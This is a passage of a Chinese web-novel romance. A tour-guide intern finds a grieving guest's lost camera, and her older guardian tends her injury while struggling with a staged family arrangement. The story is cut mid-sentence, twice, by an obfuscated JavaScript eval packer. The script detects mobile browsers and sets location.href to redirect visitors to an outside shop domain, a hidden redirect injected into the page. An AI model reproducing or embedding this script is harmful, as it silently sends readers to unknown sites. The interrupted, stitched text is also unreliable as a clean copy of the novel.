奶奶去世的时候,她烧了奶奶的照片,爷爷去世的时候,她烧了爷爷的照片,奶奶去世的时候,她烧了奶奶的照片。都是爱她的人,却都抛下她离她而去,让她一个人留在这个世界上。 她受了委屈没地方去说,有了快乐没地方分享。她曾经怨恨地想,既然如此,那不如都忘掉,既然没有用,那她一个都不要记住。 她成功了。 “如果照片没了,我就只有回忆了。”贝尔纳呜咽起来,“可是我老了,我已经老了,我脑子不好了,如果有一天我忘掉了……如果有一天,我什么也不记得了……” 我该怎么办? 该怎么办?她也不知道。 她已经忘掉了。 很多很多。 她现在已经想不起来了,外婆长什么样,爷爷长什么样,奶奶长什么样,曾经的同学长什么样,他们叫什么,他们做过什么,他们和她发生过什么……想不起来了。 她还记得签字的头一天,徐敬孚告诉了她他们之间的过往,说她是他的救命恩人。 她记得徐敬孚说出“救命恩人”几个字时,虽然表情还是很淡然冷静,但她却不知怎么从那副平静的面容中看出了很多期待和执拗,虽然徐敬孚说没关系,说他不伤心也能理解。 可他还是带着期待,和她讲了许多过去,讲那座桥,那片布满星星的夜空,讲那条通往学校的寒冷的小路,她过去趴在他背上说过的童言童语。他还带她去看了三楼那幅画,那是他自己画的,凭借着回忆和拙劣的画技。 他说他为这幅画专门去学了画画,就只是为了画这样一幅画。 为了有一天忘了的时候还能记得。 听到徐敬孚说这个话时,她其实挺疑惑的,她很想问:“为什么一定要记得?” 可她没问。 因为她看到了对方的眼神,那个男人看着那幅画时的眼神。 那种带着怀念的,想念的,希望的眼神。 就好像整颗心都被寄托在那里头,在那一段回忆里头,支撑着他的生命活到现在。 贝尔纳说:“如果我什么都不记得了,我该怎么办?” 他还说:“如果我全都忘了,他们该怎么办?” 该怎么办呢? 木晓晞号召大家把屋里收拾了一下,在屋里又找了几圈,确实没有,于是她和金笑笙开了车准备去城里。此时已是晚上九点。 系好安全带后,她给徐敬孚打了个电话,问他:“叔叔,你在忙吗?” 徐敬孚刚洗完澡出来,看到是她打电话,还愣了一下。不过他还是接了。 “什么事?” “你们酒店如果物品损坏的话,赔偿要怎么算?如果损坏比较厉害的话,会报警吗?”她又问,“可以不报警吗?” 徐敬孚皱眉:“出什么事了?” 木晓晞把事情简单说了一遍,略去了她被打的这一段。 但徐敬孚是很细致的人,听到她说对方情绪激动到处打砸,他下意识就问:“你呢?” “什么?” “你有没有受伤?” “……” “木晓晞?” “我,我还好,没什么……” 徐敬孚一下子语气冷下来:“我说过,要和我说实话。” 木晓晞抿了下嘴。 旁边开车的金笑笙不禁朝副驾驶看去。 “你受伤了。”徐敬孚问,“哪里受伤了?” 一贯撒谎小能手的木晓晞突然脑子空白不知道该怎么撒谎了,吭哧半天,用蚊子一样的声音说:“头不小心撞了一下,有个小包。”说完然后大声了点,“没什么事的,叔叔,是我自己不小心撞到的。” 徐敬孚听到这明显有些怒气了:“你那个旅团成员打的?” “没有,叔叔,不是什么大事。” “你在哪?” 木晓晞说在去城里的路上,她要去城里今天玩过的地方挨着找找。 徐敬孚更是火大:“晚上能看见什么?去医院把伤处理了,东西明天再说。” 木晓晞那边置若罔闻,像在跟别人打电话一样:“……好的好的,那就这样,谢谢叔叔,再见叔叔。” 说着就把电话给挂了。 挂完她问金笑笙:“我们先哪里找?” 金笑笙看到她头上的青包:“要不先去医院?” 木晓晞说:“先去找找吧,没事的,我的头我自己清楚,一会儿我去超市买个退热贴冰敷一下就是了。” 金笑笙听她这么说,淡淡地笑了笑:“你自己的身体,我是管不着。” 说着便和她一起去了他们今天傍晚去过的一个小酒馆。 今天出去的晚,早上十点半才到的市里,带着这群中老年老外在中央公园里转了转,看了中国老太太老爷子们唱戏晨练,中午十一点半去了公园附近的一家西餐厅用了餐,出来后去公园内部的一座明清时的寺庙中烧了香,下午则去旁边的省剧院里看了越剧,傍晚去了一家带有本地民族风情的小酒馆里连吃带喝。 晚上七点半回到酒店。 八点半贝尔纳发现相机丢了开始闹事。 “就这么几个地方,剧院已经关门了,寺庙也是,我记得从剧院出来相机都还是在的,我还看到他给路边摊卖炸麻团的大妈拍了照。”金笑笙推理说,“应该就是在小酒馆,回程路上的公共厕所,以及酒店里这三个地方,再就是吃完饭散步时走过的马路,有时候会停下来坐一下。” 木晓晞点点头:“挨着找找。” 然后她和金笑笙便开始了地毯式搜查。 徐敬孚给她打了两个电话,她都没接,只是给他的微信回信:【没事的叔叔,我先忙一下,您好好休息吧。】 徐敬孚气得冷笑一声,也不想理她,就打算躺下睡了。结果躺了十几分钟,翻来覆去就是睡不着,要知道他平时可是雷打到头顶上都照样三分钟入睡的人。 怪不得那些生儿育女的人老得要快一些,估计都是被气的,就算是神仙操心操多了也都要老。 又翻了十几分钟,闭上眼睛就是一个哭哭啼啼满脸滚眼泪的小女孩儿。他最后还是起了,同时告诉自己,没有任何一个家长在自己的孩子被人打了以后还能心安理得睡大觉。 他套了衣服开车出了门,还没到酒店,就给酒店大堂孙经理打电话说了这事,让他先去看一眼。经理问:“要报警吗?” 想了想,他烦得出了口长气:“先不,等我到了看看。” 孙经理诚惶诚恐地挂了电话,连忙招呼人去别墅。最近这徐总也不知道哪根筋不对了,开始为微服私访亲自上手管酒店的芝麻小事了,不管是什么原因,如果不处理好,他可要背锅。该死的。 很走运,小酒馆还没关门,老板依然很热情。 很不走运,没有什么相机。 他们挨着找了一路上散过步的公园,凡是路边开着的店他们都挨着进去问了一嘴,当然,一无所获。之后又去回程路上的小公园,金笑笙把男厕每个隔间都看了一遍,木晓晞打着手电筒把小公园里每个座椅都看了一遍,还去保安亭问来一次,也没有。 只要是想到的地方都找了,没有,哪里都没有。 其实他们自己也知道,在外面的概率很小,可是酒店内也没有,为了安抚贝尔纳,他们也只能出来找。 “尽人事,听天命。”金笑笙安慰她,“这不是我们的错,你不要太难过。” 木晓晞点头:“我明白,谢谢学长。” 金笑笙看她脸臭的,拿指头把她嘴两边吊起来:“好了,与其想贝尔纳想得难过,不如想想你帅气的学长,干嘛为个老男人忧伤?” 木晓晞叹气:“那总比为渣男掉眼泪强。” 金笑笙:“……你真损,我安慰你呢。” 木晓晞笑着打开他的手,往车上走:“别动手动脚的,渣男学长。” 金笑笙不服气:“哎,我怎么渣男了,没渣着你吧?” 木晓晞也不跟他客气:“您在学校可是著名的风流浪子,就算您出国一年镀金都还是没能把您漂白,至今还是渣男界的江湖传说。” 金笑笙愣住:“啊?我这么有名啊?” 木晓晞:“你还引以为傲吗?” 金笑笙笑着进到车里,一副洋洋得意的样子:“那怎么了,黑红也是红。” 木晓晞被他搞到无语,摇摇头:“快回去吧,回去再找找。” “我发现你这个人,有点死脑筋,还总是为不属于自己的责任过度负责。”金笑笙问,“你小时候是跟不负责任的家长长大的吗?” “所以你小时候是父母关系不和谐吗?”木晓晞眼都不眨一下地反击。 “是啊。” “……” “一点也不和谐,没什么美好的回忆。” 木晓晞愣了愣,转过头看他。 金笑笙对着她笑了,嚼了个口香糖,却没再说什么,只是将前面顺手买的退热贴丢给她,接着开着车一路飙回了酒店。 他们回去的时候,徐敬孚已经到了有半个多小时了。他去看了别墅被砸的情况,也并没有很严重,只是毁了几扇玻璃门窗。 “徐总……您看……”孙经理战战兢兢,“您想怎么处理?” 徐敬孚转头问领队张洁:“他们什么时候回来?” 张洁说:“我打个电话问问。” 徐敬孚点头,他打电话打不通。这个木晓晞有的时候真是叛逆得不像话。 大部分的人已经回屋休息了,包括贝尔纳,他也在自己的卧室里。张洁问用不用把人叫出来,徐敬孚摇头:“等他们回来再看。” 说着便去了酒店大堂内坐着,等人。 孙经理知道是有客人丢了一个相机才搞出来这一波事之后,为了在徐敬孚面前挣表现,他号召全体服务人员检查自己的岗位和负责的区域中的每一寸土地,同时让安保人员检查摄像头录像,看看能不能找到东西最后出现的地方。 然而,直到木晓晞他们回来,也没有找到任何结果。 木晓晞半路接到张洁的电话,问他们什么时候回,叫他们回来了先到酒店大堂。当时还有些奇怪为什么要去酒店大堂,到了以后就知道了。 徐敬孚坐在大堂角落的沙发上,穿着一件灰色的POLO衫,翘着二郎腿撑着头面无表情地在翻手机。 木晓晞一进门就看到了他,吓得差点倒退回去。 仿佛心有灵犀,徐敬孚一抬眼,就跟正往后退的她对上了视线。木晓晞脑子“嗡”地一声,她僵在了原地,咬着下唇不敢动了,像犯了错的小孩儿一样垂眼看着地面。 金笑笙低声问:“你叔叔怎么来了?” 从之前木晓晞的对话中,还有从之前陈秘书亲自带木晓晞过来参加这份实习工作这个举动中,以及一些细节,他大概猜到了那个男人的身份。 说是木晓晞的家人,木 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294382|197175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晓晞又把他叫叔叔,看起来态度又颇为敬畏。应该是长辈吧?爸爸的弟弟叫叔叔?那为什么姓徐不姓木? 不过也不奇怪,现在多的是跟妈妈姓的孩子。 “他……他在这儿工作。”木晓晞尴尬地笑,往金笑笙旁边藏了一点点。 徐敬孚瞧见她这举动,放下手机,目光直直地穿过金笑笙落在她身上。 金笑笙小声说:“叫你不去医院,活该。” 木晓晞闻言,一下想起头上贴着退热贴的大青包,连忙抬手捂住,有些慌地看向徐敬孚。 只见那男人稳如泰山,动也不动,眼神也毫无变化。只俩嘴角往下耷拉着,不是什么好兆头。 “你快过去,你叔叔都生气了。”金笑笙推她,“快去。” 周围的服务员里也有认识她的,之前她摔了帮她穿衣服的那个女孩儿。那女孩儿刚给徐敬孚上了热茶,回过头和她擦肩而过的时候,还看了她的头一眼,欲言又止。 木晓晞冲她点了下头,算是招呼了,然后硬着头皮去了徐敬孚面前,小声叫:“叔叔。” 徐敬孚直接站起身往外走。 木晓晞心颤了一下,砰砰砰地跳了起来。她深吸一口气,接到金笑笙鼓励的眼神后,她鼓起勇气追了出去。 徐敬孚走到一处没什么人的地方站下。 木晓晞慢慢走过去。 “你用的是传呼机?”等她站定了,徐敬孚问道。 “……”木晓晞知道自己不接电话这事肯定惹到他了,头都不敢抬,“对不起叔叔。” 徐敬孚抬手把她头上的退烧贴给取了。 木晓晞连忙伸手遮了一下。 “怎么弄的?”他把退烧贴扔到垃圾桶里,“这东西没用,一会儿去冰敷。” “您……没报警吧?” 徐敬孚深吸一口气:“木晓晞,你……” 木晓晞连忙说了一大串:“我觉得那个相机肯定在的,只是不知道在哪了,很有可能就还是在酒店里,我打算再去找找,Bernard也不是故意要打砸,他家里人全部都去世了,那个相机里有他过世的家人的照片,真的对他很重要。” 徐敬孚:“……” 木晓晞垂着头:“我不是想让您不追究打砸的事,我就是想说……我想说……就是……光赔钱就可以了,其他的就……” 徐敬孚知道她要说什么:“你的意思是,打你的事就一笔勾销?” 木晓晞抬头殷殷地看他:“他真的不是故意的。” 徐敬孚不知道别人带孩子是怎么带的,他没养过孩子,不知道别人家的小孩儿是不是都是这样,但他大概有点明白父母的心情是什么样的了。顶那么大个血包,满嘴的都是“他不是故意的”,这种性格真的进了社会,还不知道要被怎么捏扁揉圆。 被那双央求殷切的眼睛看久了,到嘴边的呵斥的话也讲不出口了。 他冷冷地说:“随你,我看你最后能怎么办。” 说罢他就走了,叫孙经理在酒店给他开个房,他晚上就睡酒店。 木晓晞目送他离开后,才发现自己的手一直揪着裤子,湿润的手心把裤子都揪皱了两片。 她低下头慢慢出了口气,对自己默默说了一句:“加油。” 回到别墅后,她去敲了贝尔纳的门。 贝尔纳果然还没有睡,一脸憔悴,但沉默地给她打开了门。这会儿都已经十一点多了,按道理讲这会儿不该再进客人的房间了,但她提前给贝尔纳发了信息,对方回复了自己没睡。 “你还好吗贝尔纳?” 贝尔纳问:“没找到对吗?” 木晓晞说:“只是暂时没找到。” 贝尔纳笑了笑。 木晓晞问他:“我可以进去吗?” 贝尔纳一脸死气。 木晓晞:“您能跟我回忆一下今天从城里回来以后的每一个步骤吗?” 死马当活马医。还能坏成什么样呢? 贝尔纳本来已经不想说话了,但在她的反复纠缠下,还是说了,每一步,每一个行动。他说他回来后去后山散了步,洗了澡,看了会儿书,到晚上躺下准备检查照片的事后才发现相机没有了。 就这么几步,还能丢到哪,别墅里都翻了个底朝天了。 “算了。”折腾了这么久,贝尔纳也有些累了,他一边叠衣服一边说,“我准备退团回国了。” 木晓晞却皱着眉,想了好一会儿,忽然问他:“您说您洗了澡,那换衣服了吗?” 贝尔纳说换了,同时补充说:“洗衣房找过了,没有。” 木晓晞问:“洗衣机里面呢?您的相机是个小型的手持相机,会不会随着衣服被放进了……” 贝尔纳听到这里,一下站起来开门出去狂奔下楼到一楼的洗衣房内,因为跑得太快,中途还摔了一跤。 别墅里有独立的洗衣房,有烘干机和洗衣机。 他今天只洗了衣服。 打开洗衣机,里头有他的衣服在里面。他迫不及待地把那堆卷在一起的潮湿衣服扯出来,抖着手翻来翻去。 “啪!”有什么掉在了地上。 木晓晞赶过来,刚好看到了掉在地上的相机。孤零零的巴掌大的一小个,款式也有些陈旧了。 贝尔纳扑通跪在地上,眼泪一下子冲了下来。他把那个相机捡起来慢慢抱进怀里,呜咽着,像卡了带的收音机干干地哭起来。 东西找到了,回忆也不怕忘记了。 踏破铁鞋无觅处。 真是太好了。 她没有再打扰贝尔纳,悄悄地离开了。回她自己的房间的路上,她想起徐敬孚今晚也住在这里,于是她给徐敬孚打了电话过去,用比较振奋的语气说:“叔叔,相机找到了,在洗衣机里!” 电话那头没吭声。 她看了眼手机,是接通的。于是她又说了一遍:“叔叔?徐叔叔?” 那头问:“要去医院吗?” 木晓晞正走着路,听到这句问话,忽然停了下来,不知道为什么,眼泪毫无预兆就流下来了。 都来不及擦。 “现在知道痛了吧?”电话里的声音和远处的声音重叠到了一起。 她抬起头,看到一个男人正朝着她这边走过来。 徐敬孚挂了电话走到她面前,用手掌擦掉她脸上的眼泪,叹了口气。 “痛得厉害?” 木晓晞摇头,但是不住往外涌的眼泪却掉得叫她羞愧。她拿两个手捂住眼睛,不想让对方看到自己的样子。 她也不是疼。她就是在想,在想她丢掉的那些回忆。 她跟徐敬孚小声说:“对不起,我什么都不记得了。”她说,“对不起,我不是故意的。” 当年,小小的木晓晓站在火盆边,看着旁边棺材里的老人,一点儿也不怕。 和外婆在一起时她从来没有一个人睡过觉,外婆生病后就没人再陪她睡了,她有些害怕,也不习惯,经常睡不着。 农村里守灵没有那么严格,守灵的亲戚到半宿也睡着了。 她趁所有人都睡着的时候把棺木推开,跑到了棺材里去,抱着外婆睡了一觉。那天之后,她就告诉自己,不要再想起那些不开心的事了,没有外婆她也要睡觉的。 所以她决定忘了,把那些让她难过的事全都忘了。 贝尔纳说:“如果我什么都不记得了,我该怎么办?” 这个她知道,忘掉了就忘掉了,不用怎么办。因为已经忘掉了。 但贝尔纳还说:“如果我全都忘了,他们该怎么办?” 是啊,他们该怎么办呢? 木晓晞从没觉得这样后悔过,她忘了一切的痛苦,也忘了一切的开心。她不记得徐敬孚为什么要对她报恩,不明白他为什么这样对她好,看不懂他脸上的担忧,理解不了他的愤怒和关心。 她想知道为什么,想知道为什么自己这样重要,为什么会被这样对待,为什么会有人在所有人抛弃她后,还愿意花大价钱买断她的人生,给她一个希望。她很想知道,凭什么自己值得这一切。 她明明可以知道。 都是因为她忘了。 外婆会失望吗?会难过吗?会后悔吗? 爷爷奶奶会失望吗?会难过吗?会后悔吗? 他们最爱的孙女,忘了他们,忘了回忆,甚至不记得他们的脸。 她不知道他们后不后悔,她只知道,她想要想起来。可是她想不起来。 “对不起叔叔。” “我不知道那些回忆会这么重要。” 26.第 26 章 (二十六) 回忆重要吗? 二十四岁前的徐敬孚做出了和木晓晞一样的决定。 忘记。 如果回忆成了一个人生存的威胁,那为了活下去,忘掉就成了本能。因为人不只是人,还是动物。 但如果有一天回忆成了一个人活下去的唯一稻草呢? 二十四岁的徐敬孚就选择了记住,也是为了活下去。为了活着,记住成了徐敬孚的本能。 因为木晓晞很抗拒去医院,徐敬孚就没强迫她,只是将她带到他开的酒店房间里,拿了毛巾和冰水给她冰敷。一个毛巾敷头,一个毛巾敷眼睛。 她哭得实在太厉害了,不一会儿眼睛就红肿一片,如果不是他打开电视放相声,她可能还要断断续续哭好久。 还说自己不爱哭。 他给木晓晞拧了新的冰毛巾替换,然后看了看时间,已经十二点半。哭了半个小时,看了半个小时电视,敷了一个小时血包。 “您既然喜欢她,您就追呗,这年头小姑娘可不比当年,那是刚走路的孩子瞧见冰糖葫芦摊儿。” “什么意思?” “一步三回头,两步六回头,拉又拉不走,说也说不出口……等着您自觉呢。” “自什么觉?人要的是冰糖葫芦嘛?人要的是冰糖葫芦摊儿!还得是全国连锁的!” “哎,多有志气,好姑娘!你上进啊!” “我,我,我,我下进!” “你那是下贱!” 木晓晞笑得咯咯地,毛巾都差点没拿稳。 哭完又笑,笑点还低。 相声这种东西,他也不是没听过,还去现场听过,每次全场的人哄堂大笑时他都在想,这些人花了钱还要捧场演笑,也真是不容易。结果没想到,世界上真存在那种觉得相声很好笑的人,比如眼前这个。 徐敬孚站在旁边跟着看了会儿,实在觉不出味儿,大约是年纪大了,跟年轻人合不到一起。 他靠在一边沙发上听着听着,眼皮子上跟粘胶了似的,今天也实打实累了一天了。相声虽然不好笑,但催眠效果很好,跟木晓晞打电话时哒哒哒说些乱七八糟的东西一样,不一会儿头皮就开始发麻发木,紧绷了一天的神经如同化掉的冰淇淋往下流淌,瘫软。 耳边的声音越来越小。 看到他的眼皮全部地耷拉下去后,木晓晞悄悄把电视声音调小,再调小,只保持到一个最小的音量。 她把手里的冰毛巾放到手边的小茶几上,慢慢地,小心翼翼地站起来,去衣柜拿了一件浴衣过来给男人轻轻盖上。虽然是夏天,可度假山庄的夜晚还是有些凉意。 男人睡得很沉,一点儿都没有要醒的痕迹。 他闭着眼头歪在扶手边的靠枕上,嘴巴微微张开了一丝,平时时常蹙起的眉毛也完全地舒展开来。 他的眉毛很浓密,还有点长,睫毛也是,只是睫毛直直的,和眉尾一样有些往下垂着。平时睁开眼时,垂着的睫毛时常挡住半截眼眸,让里头的神光更加神秘莫测,和他那很少泄露心情的表情一样,叫人猜不透他在想什么。 木晓晞蹲在沙发边,认真地看着这张脸。 从第一次见面到现在,两个月了,她好像从来没有认真看过这个人长什么样,平时都不敢看,只对他的声音熟悉,以至于现在有机会认真观察这张脸时,她却觉得很是陌生。 像从来没见过,像根本不认识。 她使劲地在记忆里搜寻和这张脸类似的面孔,却依旧徒劳无功,二十四岁的徐敬孚长得是什么样呢?头发长还是短?个子也和现在一样高吗?身材也一样吗? 目光一寸一寸在男人身上探过,从五官到发丝,从下巴到脖子,从四肢到指节。 她闻到男人身上浓重的干涩的烟味,闻到那属于壮年男性的自然体味。她想,爸爸身上也是这样的气味吗? 她不记得了,没有印象。 还是很陌生。 但鼻子好像没那么敏感了,没有想象中的呛人。难道是因为叔叔抽的烟都比较贵的缘故?烟的好坏也会影响气味吗?但她记得第一次见面时,离得老远她都被熏惨了。 她也有些困,坐在地上靠在沙发边,一边想事儿,一边眨着眼看男人搭在外头的手。 想到他用手掌给自己擦眼泪。 为什么不用手指擦呢?她凑近了一点,看到了那手指上的厚厚一层的茧,不止是手指,手掌上也有。唯一光滑一些的地方就是大拇指下头那一小片,那是他每次给她擦脸上的眼泪用的部位。 但其实就算是那里,也还是挺粗糙的,每一次都擦得她的脸微微刺痛。 当了老板天天坐办公室也会长这么多茧吗? 还是说是二十四岁以前留下的? 他以前是做什么的呢?好像没有问过。只记得爸爸说,他以前很穷,穷到跟乞丐有一拼。 一点也不像。 像木钧嫉妒说出来的话。 木晓晞慢慢合上眼,湿润又慢慢地从眼角浸出来。她想,那应该是很辛苦吧?不然怎么会想要结束自己的生命?在那样一个冬天,那样一个夜晚,那样一座桥上,就那么简单地想要跳下去。 徐敬孚说:“我当时没有选择跳下去,是因为木晓晓当时说,冬天很冷,水里也很冷。” 但木晓晞却觉得并不是这样。 “那你觉得是什么?”徐敬孚问。 “我没有从您别墅楼上跳下去,不是因为您把窗户焊死了,是因为我跳下去的话,您的房子就成凶宅了,房价会跌。”她很认真地说,“您买我已经花了这么多钱,我不能让您再亏一笔了。” 徐敬孚先是一愣,接着笑起来,慢慢地越笑越大声。 她是第一次见到他这样笑,笑得很恣意,可她却判断不出来他到底是开心还是不开心。 “谢谢你,考虑得很周到。” “不用谢叔叔,您知道我有点抠门。” 徐敬孚又笑起来,然后给她开了电视看相声,好像他笑了她不笑是一件多不公平的事一样。 幸好他当时没跳。 真跳了,恐怕这辈子都没法忘掉了。 忘了也好。 也好。 第二天醒来时,她已经是在床上。她也很难得地睡得很沉,连徐敬孚什么时候走的都不知道。 她起来打开手机,看到了徐敬孚给她的留言:【今天你休息。】 接着她又看到了张洁和金笑笙给她发的信息。 张洁:【你今天好好休息,不用跟团了,休息好了再说,昨天真是谢谢你,帮了大忙。】 然后她又给她发了贝尔纳在机场的照片,是金笑笙送他去的。 张洁:【酒店的钱Bernard全都赔付了,他坚持要走,我们也留不下他,不过他问我要你的邮件地址,说回去了会给你发法语学习资料。这老头,啧。】 木晓晞晕晕地眨眨眼,看了眼手机上的时间,竟然已经是中午十一点多了!她懵了,一下从床上爬起来去拉开窗帘,打开窗。 黑漆漆的房间一下变得明亮起来,外头早已是蓝天烈日,蝉鸣不休。 她又看了眼手机,金笑笙也发来了慰问信息:【张姐说你今天休息?你怎么没在房间?是去医院了吗?】 还有两条: 【医生怎么说?头晕吗?】 【收到请回答,收到请回答,over。】 她呆呆地在床边站了会儿,让自己的身体慢慢地从沉甸甸的睡意中苏醒过来。她慢吞吞地给两人分别回了信息。 【好的张姐,今天辛苦您了。】to张洁。 【我没去医院,在酒店。】to金笑笙。 没想到刚给金笑笙发过去,那头就出现了“正在输入”的标志,他几乎是秒回:【你在酒店?】 木晓晞:【嗯。】 金笑笙:【早上我敲门,你没在房间,你在哪?】 木晓晞这才一惊,彻底清醒过来。她没在自己房间?在哪?她环视四周,这是……昨天徐敬孚开的酒店房间。她昨天是在这里睡的?什么时候睡着的?怎么睡着的? 她迟钝的脑子这才开始运动起来,她想起来了昨晚发生的事,想起来了徐敬孚大半夜把她带到自己的房间给她冰敷,给她看相声,想起来他们的对话,想起…… 她不由看向角落那个沙发。 昨天徐敬孚就睡在那里,浴衣都还在那里搭着。而她……所以是徐敬孚把她带到床上的?她和徐叔叔,昨天睡在一个屋? 木晓晞微微张开嘴。 正震惊着,金笑笙的电话打过来了,她慌忙接起来:“喂?” 金笑笙也没说什么特别的,就问她怎么样了,然后叮嘱她好好吃饭好好休息,说他们今天去的地方远一些,回来可能会比较晚了,得晚上十点左右了。 木晓晞嗯嗯啊啊地应付了,正要挂,金笑笙又叫住她:“哎。” “嗯?还有事吗学长?” “……”金笑笙有点无奈,“没事。”非要有事才能打电话吗? 他旁边有人在笑,听着像是张洁。 木晓晞有点摸不着头脑:“没事那我挂了,拜拜学长,祝你们顺利。” 说着,就这样挂了。 张洁终于忍不住大笑出声:“活该,叫你不学好当人男小三。” 金笑笙有些恼羞成怒:“她肯定没男朋友!这么明显的撒谎你也信,怪不得姐你也没对象!” 张洁好奇地问:“你怎么看出她没对象啊?明明她说的有啊?” 金笑笙:“男人的第六感。” 张洁:“嗤,女人的第六感告诉我,她就算没对象也不喜欢你这一款。” 金笑笙:“啧你,你,你这人……怪不得你没对象!” 张洁拿拇指钻钻耳朵,嫌弃:“能骂句不一样的不,耳朵都起茧了。” 开了一早上的会,徐敬孚有些疲倦。 这次会议,彻底把那两个股东给清出了场子,可以说,目前的徐家在阅岭集团有了绝对的话语权。曾经虽然也有,可徐休退休后,所谓的话语权就成了一种权力博弈的幌子。 徐敬孚这个位子当初是徐休力排众议保下来的,从当初一手将他扶起来,到现在徐敬孚能与其他股东平起平坐甚至拍桌子,徐休的确出了很大的力。 徐家儿子这个身份,既让徐敬孚享受了许多不属于普通人的便捷速通的上升渠道,但同时也让他遭受了足够多的无名敌意和嫉恨。 如果不是他,徐休的财富就是徐家的财富。因为有了他,徐休的财富,至少在明面上,成了徐敬孚的财富。 但只有他自己知道,他实际上什么也不是。 “木晓晞最近在干什么?前几天我好像在酒店看见她了,但是她没到你妈别墅那里来。”徐休进到徐敬孚的办公室去,将手里的公章盒甩给他,盯着角落一个机器,“这又搞的什么?” “空气净化器。”徐敬孚拿了公章,放到保险柜里,“木晓晞最近参加实习了,你不是让她编了个25岁翻译的身份吗?我给她找了个实习让她上班去了,刚好带的那个团最近一阵就住在酒店里。” “什么时候开始养生了?” “最近。” 徐休挑眉:“因为木晓晞?” 徐敬孚关好保险柜门,毫无波动地说:“因为陈遇咽炎了,他医生跟他说少抽烟。” 徐休:“……你是这种会照顾下属工作体验的领导?” 徐敬孚把手里的文件往桌上一拍:“徐董还有事?” 徐休笑起来:“你妈这两天好些了,什么时候把你们那个证带上,去给你妈看看。”他拿了文件离开,走的时候还拍了下他的手臂,“记得做戏做全套,演好些……我是说你,演好些,人家木晓晞一个黄毛丫头都比你像那么回事,别以为你妈脑子糊涂眼睛瞎,就可以随便糊弄,她耳朵还是好的,你就算脸上不会演,至少话还是要说到位。” “说什么?” “下次你妈叫徐乔名字的时候,你至少应一声。”徐休转了转手指上的戒指,“我知道你心里有怨气,但是如果不是徐乔死了,你徐敬孚也不会有今天。” 徐敬孚今天一早都没抽一根烟的,给他几句话说得又想起了那玩意儿。 他笑了一声。 “我知道你是把于珍当的亲妈,我也说过,只要你让她高兴,我不会亏待你。”徐休并不在意他那一脸的嘲弄,继续说,“木晓晞我也不会亏待,你放心。” 徐敬孚摇摇头,到底还是拿了烟包抖了一根出来,点上抽了一口。他想了好一阵,才说:“徐董,你是不是觉得如果我离开了阅岭集团去别的地方,我就搞不到一分钱了?” 徐休:“搞不到这么多。” 徐敬孚笑了笑:“你以为我想要多少?” 算是不欢而散。 这是他跟徐休之间私人谈话的常态。从过去到现在,一直如此。 昨晚没睡太好,今早开会一早上绷紧神经,也够累的。 很累。 本来以为会没那么累,早上从酒店出来时精神还是好的,直到坐进这个办公室,进到那个会议室。这种状态已经有相当长一段时间了,他不知道该怎么命名这种一到某个地方就开始自动疲惫的状态,上班综合征?还是工作倦怠期? 也许都是。 徐敬孚抽着烟,自己都觉得好笑,他徐敬孚竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17300034|197175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然有一天会觉得上班很辛苦,很累。 可是不上班能干什么呢?除了上班,还有什么事呢? 干什么能解累?旅游吗?喝酒吗?玩? 正想着,一个人的脸蛮不讲理地撞进了他的脑海里。木晓晞。 抽烟的动作一下顿住。 昨晚他醒来时已经是凌晨两点半,醒来时身上盖着一件浴衣。浴衣很厚,盖到他的肩膀,沙发又不透气,热得他整个人身上都是汗。 电视还开着,循环播放着那个不好笑的相声节目。 灯也开着,光线还很亮。 沙发扶手边传来一阵细细的呼声,偏头一看,是木晓晞。她靠在沙发和墙睡着了,脑袋以一种很不舒服的姿势歪着,脸上有些干掉的泪痕。 “木……”他只叫了一个字就止住了。 她睡得很香。 他低头看看手里的浴衣,又看看旁边的女孩儿,脑子一片空白。至于为什么是空白的,他也不清楚,可能太累了,太晚了。 他没有选择把她叫醒,也没有选择另外换一个房间。 他把木晓晞抱到了床上,关上窗,开了空调,给她盖上薄毯,然后关掉灯光只剩一个角落的氛围灯,他回到了那个沙发上坐下来,撑着头就那样静静地看着床上的女孩儿。 什么也没想,就只是看着,听着空调轻微的吹风声,听着那均匀的呼吸声,静静地享受夜间的安宁。 他是什么时候再睡着的他也不记得,反正醒来时,木晓晞还在睡,沉得什么动静也听不见。他洗漱完走了,直到关门的时候她都依旧在床上一动不动。 年轻人的睡眠,是不错。 想到木晓晞睡得呼呼的样子,徐敬孚不禁露出一丝笑意,他看了看手里的烟,把烟给碾到了烟灰缸里。 抬手看看时间,刚好中午了。 他拿出手机调出木晓晞的号码,迟疑了几秒后,还是拨了出去。 木晓晞正要洗澡,刚脱完了衣服准备拿手机进浴室。她喜欢洗澡的时候放歌听。 结果手机一响,拿起来一看,吓得手机直接掉到了地上。 怎么这时候打电话?! 徐敬孚打了一遍,没人接。 他皱起了眉,又打了一遍,接了。 “喂?” “……” “醒了?” 木晓晞拿浴衣慌乱地把自己包好,有些莫名尴尬:“叔叔早上好。” “中午了。” “……中午好。” “怎么了?还没睡醒?” “醒了,醒了。”木晓晞连忙问,“怎么了叔叔?有什么……事?” 没事就不能打? 徐敬孚的拇指来来回回地捏着那根烟:“今天你不是休息?” “休息?啊,对,您不是让我休息一天吗?”木晓晞不知道他问这个干什么。 “下午没安排?” “没有。” “晚上呢?” “也没有。” “一会儿呢?” 木晓晞稀里糊涂,不过照例答:“也没有。” 徐敬孚把手里捏成两截的烟给丢了:“一会儿我去酒店找你吃饭,吃完一起去别墅看看我妈,她这两天好些了,想见你。” 